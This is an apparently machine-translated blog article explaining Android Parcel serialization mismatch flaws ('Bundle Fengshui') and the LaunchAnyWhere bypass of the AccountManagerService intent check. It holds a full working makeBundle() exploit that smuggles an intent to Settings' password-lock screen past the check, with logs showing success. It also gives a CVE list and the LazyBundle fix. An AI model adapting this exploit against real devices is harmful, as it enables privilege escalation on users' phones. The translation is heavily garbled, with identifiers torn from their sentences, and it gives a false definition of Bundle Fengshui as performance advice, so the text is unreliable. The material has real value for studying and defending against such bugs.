序文
2023 年には、有名なインターネット メーカーが引き続き AndroidOEM
関連の新しい脆弱性を掘り起こし、App
現在の市場の主流の携帯電話システムに対する脆弱性攻撃を公開リリースで実現するでしょう。
以下の説明はすべて、現時点で数億台の携帯電話で発生している実際のケースからのものです。関連する機密情報が処理されました。
一見無害App
に見えるが、インターネットBundle 风水 - Android Parcel 序列化与反序列化不匹配系列漏洞
メーカー0day/Nday 攻击
が使用した最初のハッキング手法。StartAnyWhere
この記事を読む前に、launchAnyWhere
脆弱性と以下を理解してくださいBundle数据结构和反序列化
。
launchAnyWhere: アクティビティ コンポーネントの権限バイパスの脆弱性分析
バンドル風水とは
Bundle
風水 ( Bundle Fengshui
) は、Android
アプリケーションBundle
クラスを使用してデータを転送する場合、データ転送プロセスにおけるパフォーマンスの問題を回避するために、いくつかの最適化手法に注意を払う必要があることを意味します。
Bundle
このクラスはキーと値のペアに基づいてデータを格納し、複数のデータ型の転送をサポートしているため、使用する際には次の点に注意する必要があります。
大量のデータを渡す場合は使用しないでくださいBundle
: 大量のデータを転送する必要がある場合は、シリアル化など、他のより効率的な転送方法の使用を検討する必要がありますParcelable
。
シリアライゼーション and を避けるようにしてくださいParcelable
: シリアライゼーション and は複雑なオブジェクトを渡すために使用できParcelable
ますが、パフォーマンスは低いため、できるだけ避ける必要があります。
適切なデータ型を使用する: を使用してデータBundle
を転送する、getInt()
代わりgetLong()
に使用するなど、実際のニーズに応じて適切なデータ型を使用する必要があります。
合理的なBundle
使用API
:Bundle
クラスは、 、などAPI
の複数の を提供します。これらは、実際のニーズに応じて使用する必要があります。putXXX()
getXXX()
API
Bundle
大量のデータの受け渡しを使用しない:Bundle
クラスは、大量のデータを渡すときにパフォーマンスの問題が発生する可能性があるため、できるだけ避ける必要があります。
つまり、Bundle
風水は、Bundle
クラスを。
関連記事: Android の Safer Parcel の紹介 - Black Hat
開発者がParcel
オブジェクトを操作してデータの読み取りまたは書き込みを試みると、ある種のエラーが発生する可能性があります。開発者は、さまざまな理由で不注意であったり、適切な境界条件を考慮していなかったり、特定のコンテナーを理解していなかったりする可能性があります。同じオブジェクトを処理するときに、そこから書き込まれたバイト数が一致しないJava
という事実につながるエラーがあります.これは、デシリアライゼーションの脆弱性です.たとえば、次のコード:Parcelable
Parcel
Parcelable
public class MyClass implements Parcelable {
int a;
int b;
protected MyClass(Parcel in) {
a = in.readInt();
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(a);
dest.writeInt(b);
}
@Override
public int describeContents() {
return 0;
}
public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
@Override
public MyClass createFromParcel(Parcel in) {
return new MyClass(in);
}
@Override
public MyClass[] newArray(int size) {
return new MyClass[size];
}
};
}
明らかに、開発者は読み取り時に 4 バイトしか読み取れませんでしたが、書き込み時には 8 バイトを書き込みました! これは非常にばかげているように見えます。この種の脆弱性を記述する開発者はいないようですが、実際のコードでは、この例よりもはるかに複雑な状況が発生する可能性があるため、Google の開発者でさえ間違いを犯し、いくつかの抜け穴さえあります。コードを初めて見たとき、問題は見つかりませんでしたが、隠れた読み取りと書き込みの不一致の問題があることに気付くまでに数時間かかりました。
LaunchAnyWhere 脆弱性コード レビュー
launchAnyWhere: アクティビティ コンポーネントのパーミッション バイパスの脆弱性分析この記事では、この問題について簡単に説明します. AccountManagerServic
e のプロセスにあります. パラメータを受け取ったAddAccount
後、検査はなく、内部のフィールドを直接取り出してインターフェイスを起動します. これは典型的な脆弱性です.その時の修正も非常に簡単でした. 中中を選択して受信した後, 取り出してみてください. このフィールドが存在する場合,解析された最終呼び出しコンポーネントが元の呼び出し元に属しているかどうかを確認してください.発信者として質問を開始します。system_server
Bundle
Settings
KEY_INTENT(intent)
LaunchAnyWhere
Google
system_server
Bundle
Intent
Intent
Settings
Activity
//android-28/com/android/server/accounts/AccountManagerService.java
public class AccountManagerService
extends IAccountManager.Stub
implements RegisteredServicesCacheListener<AuthenticatorDescription> {
/****部分代码省略****/
/** Session that will encrypt the KEY_ACCOUNT_SESSION_BUNDLE in result. */
private abstract class StartAccountSession extends Session {
/****部分代码省略****/
@Override
public void onResult(Bundle result) {
Bundle.setDefusable(result, true);
mNumResults++;
Intent intent = null;
//尝试从Bundle对象中取出KEY_INTENT
if (result != null
&& (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
//对KEY_INTENT进行校验
if (!checkKeyIntent(
Binder.getCallingUid(),
intent)) {
onError(AccountManager.ERROR_CODE_INVALID_RESPONSE,
"invalid intent in bundle returned");
return;
}
}
/****部分代码省略****/
sendResponse(response, result);
}
}
private void sendResponse(IAccountManagerResponse response, Bundle result) {
try {
response.onResult(result);
} catch (RemoteException e) {
// if the caller is dead then there is no one to care about remote
// exceptions
if (Log.isLoggable(TAG, Log.VERBOSE)) {
Log.v(TAG, "failure while notifying response", e);
}
}
}
private abstract class Session extends IAccountAuthenticatorResponse.Stub
implements IBinder.DeathRecipient, ServiceConnection {
/**
* Checks Intents, supplied via KEY_INTENT, to make sure that they don't violate our
* security policy.
*
* In particular we want to make sure that the Authenticator doesn't try to trick users
* into launching arbitrary intents on the device via by tricking to click authenticator
* supplied entries in the system Settings app.
*/
protected boolean checkKeyIntent(int authUid, Intent intent) {
intent.setFlags(intent.getFlags() & ~(Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION
| Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION));
long bid = Binder.clearCallingIdentity();
try {
PackageManager pm = mContext.getPackageManager();
//解析出Intent最终调用的Activity
ResolveInfo resolveInfo = pm.resolveActivityAsUser(intent, 0, mAccounts.userId);
if (resolveInfo == null) {
return false;
}
ActivityInfo targetActivityInfo = resolveInfo.activityInfo;
int targetUid = targetActivityInfo.applicationInfo.uid;
PackageManagerInternal pmi = LocalServices.getService(PackageManagerInternal.class);
// 判断是否是导出的System Activity或Activity所属应用是否和调用者同签名,满足其中之一则允许调用
if (!isExportedSystemActivity(targetActivityInfo)
&& !pmi.hasSignatureCapability(
targetUid, authUid,
PackageParser.SigningDetails.CertCapabilities.AUTH)) {
String pkgName = targetActivityInfo.packageName;
String activityName = targetActivityInfo.name;
String tmpl = "KEY_INTENT resolved to an Activity (%s) in a package (%s) that "
+ "does not share a signature with the supplying authenticator (%s).";
Log.e(TAG, String.format(tmpl, activityName, pkgName, mAccountType));
return false;
}
return true;
} finally {
Binder.restoreCallingIdentity(bid);
}
}
}
}
Settings
受信後に送信するIntent
呼び出しstartActivityForResultAsUser
:
public class AddAccountSettings extends Activity {
/****部分代码省略****/
private final AccountManagerCallback<Bundle> mCallback = new AccountManagerCallback<Bundle>() {
@Override
public void run(AccountManagerFuture<Bundle> future) {
boolean done = true;
try {
Bundle bundle = future.getResult();
//bundle.keySet();
//获得KEY_INTENT
Intent intent = (Intent) bundle.get(AccountManager.KEY_INTENT);
if (intent != null) {
done = false;
Bundle addAccountOptions = new Bundle();
addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS,
Utils.hasMultipleUsers(AddAccountSettings.this));
addAccountOptions.putParcelable(EXTRA_USER, mUserHandle);
intent.putExtras(addAccountOptions);
//启动KEY_INTENT代表的Activity
startActivityForResultAsUser(intent, ADD_ACCOUNT_REQUEST, mUserHandle);
} else {
setResult(RESULT_OK);
if (mPendingIntent != null) {
mPendingIntent.cancel();
mPendingIntent = null;
}
}
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "account added: " + bundle);
} catch (OperationCanceledException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount was canceled");
} catch (IOException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
} catch (AuthenticatorException e) {
if (Log.isLoggable(TAG, Log.VERBOSE)) Log.v(TAG, "addAccount failed: " + e);
} finally {
if (done) {
finish();
}
}
}
};
}
Parcelable
当時はこのパッチに問題はありませんでしたが、2017 年まで、 Google のパッチがチェックsystem_server
インIntent
さAIDL
れSettings
、シリアライゼーションとデシリアライゼーションのプロセスも含むプロセス境界では、Parcelable反序列化漏洞的字节错位
正確なレイアウトを通過すると、system_server
チェック時にIntent
これを見つけることができませんが、Intent
配置ミスの後に研究者は、このエクスプロイト方法を と名付けましSettings
た。LaunchAnyWhere
Bundle mismatch
バンドルの不一致、Parcelable デシリアライゼーションの脆弱性の悪用方法
Android
フレームワークがどのように型を処理するかを理解したところでBundle
、今度はエクスプロイトの開発方法に焦点を当てる必要がありますBundle mismatch
.上記の脆弱性を例として取り上げ、サンプル コードを確認してみましょう:
public class MyClass implements Parcelable {
int a;
int b;
protected MyClass(Parcel in) {
a = in.readInt();
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeInt(a);
dest.writeInt(b);
}
@Override
public int describeContents() {
return 0;
}
public static final Creator<MyClass> CREATOR = new Creator<MyClass>() {
@Override
public MyClass createFromParcel(Parcel in) {
return new MyClass(in);
}
@Override
public MyClass[] newArray(int size) {
return new MyClass[size];
}
};
}
この例では、読み取りは 4 バイト、書き込みは 8 バイトです.次に、後半の 4 バイトを全体の使用率のコアと見なします.上記の Bundle 形式の解析ロジックによると、シリアル化の際に 0 を書き込んだ後、今度は 4 バイトを読みますが、この 0 はどこに行くのでしょうか?
答えは、彼は次の 1 つとして存在する必要があるということでありBundle key
、私たちが知っている始まりはkey string
、最初に文字列の長さとしてreadString
1 を読み取ることです。int
後ろの 0 は文字列の長さと見なされ、長さ 0 の文字列です. 文字列の長さフィールドnull
は.null
-1
this.b
前に書かれた 0に加えて、次の 4 バイトpadding
が存在することがわかりました。ここで別の型フィールドに入力する必要があります, ここで選択したものはVAL_BYTEARRAY
13 です. バイト配列の長さと内容は後でレイアウトする必要があります. これは転位前のロジックと組み合わせる必要があります. 慎重にデバッグした後、私は与える 答えは次のとおりです(0の置き忘れを除く):
悪意のあるバンドルを構築する
public Bundle makeBundle() {
Bundle bundle = new Bundle();
Parcel bndlData = Parcel.obtain();
Parcel exp = Parcel.obtain();
exp.writeInt(3); // bundle key count
//byte[] key1Name = {0x00};//第一个元素的key我们使用\x00,其hashcode为0,我们只要布局后续key的hashcode都大于0即可
//String mismatch = new String(key1Name);
String mismatch = "mismatch";//后续元素的hashcode必须大于mismatch的hashcode
exp.writeString(mismatch);
exp.writeInt(4); // VAL_PARCELABLE
exp.writeString("com.tzx.launchanywhere.MyClass"); // class name
// 这里按照错位前的逻辑开发,错位后在这个4字节之后会多出一个4字节的0
exp.writeInt(0);
/**********************恶意构造的内容start*********************************/
byte[] key2key = {
13, 0, 8};
String key2Name = new String(key2key);
// 在错位之后,多出的0作为了新的key的字符串长度,并且writeString带着的那个长度=3会正常填充上padding那个位置。使得后续读取的类型为VAL_BYTEARRAY(13),前面的0用于补上4字节的高位。而8则是字节数组的长度了。
//简单来说就是13和0这俩个字符的4个字节构成13这个数字,字符8和终止符这两个字符构成8这个数字。
exp.writeString(key2Name);//整体作为长度为3的key string
// 在错位之后,这里的13和下面的值是作为8字节的字节数组的一部分
exp.writeInt(13);//这里的13则也是巧妙地被解析成了VAL_BYTEARRAY(13)
int intentSizeOffset = exp.dataPosition();
// 在错位之后上面的13和这里的值就会作为8字节的字节数组,后续就会正常解析出intent元素了,就成功绕过补丁
int evilObject = -1;//这里应为字节数组的长度,我们填写为intent元素所占用的长度,即可将intent元素巧妙地隐藏到字节数组中(此值被Intent长度覆盖)
exp.writeInt(evilObject);
int intentStartOffset = exp.dataPosition();
/**********************恶意构造的内容end*********************************/
/**********************intent内容start*********************************/
exp.writeString(AccountManager.KEY_INTENT);
exp.writeInt(4);// VAL_PARCELABLE
//可以直接构造Intent放在exp中,此处为了显示构造过程,将Intent字段逐一放入exp中
//Intent intent = new Intent(Intent.ACTION_RUN);
//intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.password.ChooseLockPassword"));
//exp.writeParcelable(intent, 0);
exp.writeString("android.content.Intent");// name of Class Loader
exp.writeString(Intent.ACTION_RUN); // Intent Action
Uri.writeToParcel(exp, null); // Uri is null
exp.writeString(null); // mType is null
//exp.writeString(null); // mIdentifier is null android28没有该字段
exp.writeInt(Intent.FLAG_ACTIVITY_NEW_TASK); // Flags
exp.writeString(null); // mPackage is null
exp.writeString("com.android.settings");
exp.writeString("com.android.settings.password.ChooseLockPassword");
exp.writeInt(0); //mSourceBounds = null
exp.writeInt(0); // mCategories = null
exp.writeInt(0); // mSelector = null
exp.writeInt(0); // mClipData = null
exp.writeInt(-2); // mContentUserHint
exp.writeBundle(null);
/**********************intent内容end*********************************/
int intentEndOffset = exp.dataPosition();
//将指针设置在intent数据之前,然后写入intent的大小
exp.setDataPosition(intentSizeOffset);
int intentSize = intentEndOffset - intentStartOffset;
exp.writeInt(intentSize);
Log.d("tanzhenxing33", "intentSize=" + intentSize);
//写完之后将指针重置回原来的位置
exp.setDataPosition(intentEndOffset);
// 最后一个元素在错位之前会被当成最后一个元素,错位之后就会被忽略,因为前面已经读取的元素数已经足够
String key3Name = "Padding-Key";
//String key3Name = "padding";//hashcode排序失败
exp.writeString(key3Name);
exp.writeInt(-1);//VAL_NULL
int length = exp.dataSize();
bndlData.writeInt(length);
bndlData.writeInt(0x4c444E42);//魔数
bndlData.appendFrom(exp, 0, length);//写入数据总长度
bndlData.setDataPosition(0);
Log.d("tanzhenxing33", "length=" + length);
bundle.readFromParcel(bndlData);
return bundle;
}
上記のコードの到着をシリアライズBundle
およびデシリアライズして、内部の和の型をチェックしますkey
::構築されたばかりです; Value
:カーネル送信の 2 番目の到着です。
main
Bundle
Activity
TestBundleMismatchResultActivity
Activity
D/tanzhenxing33: intentSize=324
D/tanzhenxing33: length=480
D/tanzhenxing33: file =/storage/emulated/0/Android/data/com.tzx.launchanywhere/cache/obj.pcl
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: main key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: main key = � [B
D/tanzhenxing33: main key = Padding-Key NULL
D/tanzhenxing33: MyClass:writeToParcel
D/tanzhenxing33: onCreate:TestBundleMismatchResultActivity
D/tanzhenxing33: MyClass:Parcel:100
D/tanzhenxing33: TestBundleMismatchResultActivity key = mismatch com.tzx.launchanywhere.MyClass
D/tanzhenxing33: TestBundleMismatchResultActivity key = intent android.content.Intent
D/tanzhenxing33: TestBundleMismatchResultActivity key = [B
D/tanzhenxing33: result != null,Intent { act=android.intent.action.RUN flg=0x10000000 cmp=com.android.settings/.password.ChooseLockPassword }
構築されたばかりのものを見ることができますBunlde
:
mismatch
それに対応してkey
、それはタイプValue
です。com.tzx.launchanywhere. MyClass
�
それに対応してkey
、これは配列Value
です。Byte
Padding-Key
それに対応してkey
、それValue
はNULL
;
一度シリアル化および逆シリアル化Bundle
:
mismatch
それに対応してkey
、それはタイプValue
です。com.tzx.launchanywhere. MyClass
intent
それに対応してkey
、それはタイプValue
です。android.content.Intent
- 空の文字列に対応し
key
、配列Value
です。Byte
バンドル バイナリ データ分析
実際、上記の内容は、Bundle バイナリ データの変更によって理解しやすくなっています。
バイナリ データを見る前に、 String の 4 バイト アラインメントについて説明しましょう。
文字列の 4 バイト アラインメント
コンピューターでは、ハードウェアのストレージ構造などの理由により、文字列型を含む多くのデータ型のメモリ レイアウトを揃える必要があります。
In a string, it is stored in bytes. 最適なメモリ アクセス パフォーマンスを実現するには、通常、文字列の各文字を 4 バイトのメモリ アドレスに格納する必要があります。
したがって、文字列の長さが 4 の倍数でない場合、4 バイトのアラインメントの要件を満たすために、パディングのために文字列の末尾に余分な null バイトが追加されます。たとえば、文字列の長さが 5 の場合、最後に null バイトが追加されて 8 になり、4 バイトのアラインメント要件が満たされます。
多くの短い文字列では、実際に使用されるメモリがその長さよりも長くなる可能性があるため、この整列操作はメモリ使用量に一定の影響を与えることに注意してください。そのため、大量の文字列データを処理する場合は、メモリ不足などの問題を避けるために、メモリの使用に注意する必要があります。
ファイルに書き込まれたパーセル内のデータ
Parcel
表示用にデータをファイルに書き込みます。
private void writeByte(Parcel bndlData) {
try {
byte[] raw = bndlData.marshall();
File file = new File(getExternalCacheDir(), "obj.pcl");
if (file.exists()) {
file.delete();
} else {
file.createNewFile();
}
FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());
fos.write(raw);
fos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
バイナリを表示
書き込まれたファイルはバイナリ ファイルです。od
次のコマンドで表示できます。
od -tx1 obj.pcl
ツールを使用して表示することもできますhexfiend
。ダウンロード リンクはhttps://hexfiend.com/です。
または、関連するプラグインをvs cdoe
インストールして直接表示します。hex
データ分析結果
構築された悪性
Bundle
データ分析結果
構築された悪意のある
Bundle
データは、シリアライズとデシリアライズを通じて一度分析されます
最初のBundle
データ分析グラフと比較すると、赤いボックス内のデータ分析結果にのみ注意を払う必要があります。
- 1 回のシリアル化の後、もう 1 回0
MyClass
が書き込まれます。int
- この 0 は秒の長さとして使用されます
key
。 - 前の
writeString
ターミネータとバイト アラインされた 4 バイトがlength0
の名前として使用されますkey
。 - 前に書き込まれた
{13, 0, 8}
最初の 4 バイトはデータ型 ( =13)0
の長さとして使用され、次の 8 およびバイト整列された 4 バイトは長さの長さとして使用され、その値は 8 に等しくなります。key
VAL_BYTEARRAY
ByteArray
- 以前に書き込まれた長さ (
VAL_BYTEARRAY
=13) と、Intent
これらの 8 バイトの長0
さkey
をValue
; - 次の読み取りの長さは
key
6 で、key
名前はintent
; - 最後の要素は、既に読み取られた要素の数が十分であるため、誤って配置された後は無視されます。
バグの修正
上記の脆弱性の修復は非常に直感的であるように思われます。MyClass
クラス。しかし実際には、この種の脆弱性は孤立したケースではなく、歴史的に、コード作成者の不注意により、読み取りと書き込みの不一致によって引き起こされる多くの権限昇格の脆弱性がありました。
CVE-2017-0806 GateKeeperResponse
CVE-2017-0664 AccessibilityNodelnfo
CVE-2017-13288 PeriodicAdvertisingReport
CVE-2017-13289 ParcelableRttResults
CVE-2017-13286 OutputConfiguration
CVE-2017-13287 VerifyCredentialResponse
CVE-2017-13310 ViewPager’s SavedState
CVE-2017-13315 DcParamObject
CVE-2017-13312 ParcelableCasData
CVE-2017-13311 ProcessStats
CVE-2018-9431 OSUInfo
CVE-2018-9471 NanoAppFilter
CVE-2018-9474 MediaPlayerTrackInfo
CVE-2018-9522 StatsLogEventWrapper
CVE-2018-9523 Parcel.wnteMapInternal0
CVE-2021-0748 ParsingPackagelmpl
CVE-2021-0928 OutputConfiguration
CVE-2021-0685 ParsedIntentInfol
CVE-2021-0921 ParsingPackagelmpl
CVE-2021-0970 GpsNavigationMessage
CVE-2021-39676 AndroidFuture
CVE-2022-20135 GateKeeperResponse
…
もう 1 つの修正案は、TOCTOU
脆弱性、つまり、チェックして使用する逆シリアル化オブジェクトが同じであることを確認することですが、この修正は一時的な解決策であり、根本的な原因ではなく、攻撃者が他の攻撃経路を見つけて、それらをバイパスします。
したがって、この種の無限の問題を完全に解決するために、Google
単純で粗雑な徐放ソリューションが提案されています。つまり、Bundle
クラス。Bundle
それ自体はArrayMap
構造体ですが、デシリアライズ時にそのうちの 1 つだけを取得する必要がある場合でもkey
、全体を再度デシリアライズBundle
する。これの主な理由は、シリアル化されたデータ内の各要素のサイズが固定されておらず、要素の型によって決定されているためです. 以前のデータをすべて解析しないと、対象の要素がどこにあるのかわかりません.
この2021
目的の頃、と呼ばれるプロジェクトAOSP
がBundle
提出され。主な考え方は、 、 、などの構造体やコンテナーなど、可変長のカスタム型の場合、シリアル化中に対応するデータのサイズがヘッダーに追加されるということです。このように、逆シリアル化中にこれらのタイプのデータに遭遇した場合、ヘッダーをチェックするだけで、これらの要素の解析を選択的にスキップできます. このときがは、特定のデータを逆シリアル化するために実際に使用されます。LazyBundle(9ca6a5)
patch
Parcelable
Serializable
List
sMap
LazyValue
これによりpatch
、Bundle 风水
攻撃をある程度緩和することができます。また、Parcel
データが。前のBundle
構文解析、size
メソッドのみが呼び出された場合でも、すべての要素の構文解析がトリガーされ、例外が発生します。このpatch
にはパラメータunparcel
も追加されます。そうであれば、各要素は従来の方法で解析されます。それ以外の場合、の解析はスキップされます。boolean
itemwise
true
LazyValue
興味のある方は、patch
対応する提出記録、LazyBundle(9ca6a5)を読むことができます。
対応する変更は、Android13 のソース コードにも見られます: android13 の BaseBundle.java
//android-33/android/os/Parcel.java
public final class Parcel {
/****部分代码省略****/
@Nullable
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
public final void writeValue(@Nullable Object v) {
if (v instanceof LazyValue) {
LazyValue value = (LazyValue) v;
value.writeToParcel(this);
return;
}
int type = getValueType(v);
writeInt(type);
if (isLengthPrefixed(type)) {
// Length
int length = dataPosition();
writeInt(-1); // Placeholder
// Object
int start = dataPosition();
writeValue(type, v);
int end = dataPosition();
// Backpatch length
setDataPosition(length);
writeInt(end - start);
setDataPosition(end);
} else {
writeValue(type, v);
}
}
private boolean isLengthPrefixed(int type) {
// In general, we want custom types and containers of custom types to be length-prefixed,
// this allows clients (eg. Bundle) to skip their content during deserialization. The
// exception to this is Bundle, since Bundle is already length-prefixed and already copies
// the correspondent section of the parcel internally.
switch (type) {
case VAL_MAP:
case VAL_PARCELABLE:
case VAL_LIST:
case VAL_SPARSEARRAY:
case VAL_PARCELABLEARRAY:
case VAL_OBJECTARRAY:
case VAL_SERIALIZABLE:
return true;
default:
return false;
}
}
}
記事はここですべて説明します。他に連絡が必要な場合は、メッセージを残してください〜!
参考記事:
Parcelable デシリアライゼーションの脆弱性とバンドルの不一致について話す
Bundle Fengshui - Android のシリアライゼーションとデシリアライゼーションの不一致脆弱性詳細解説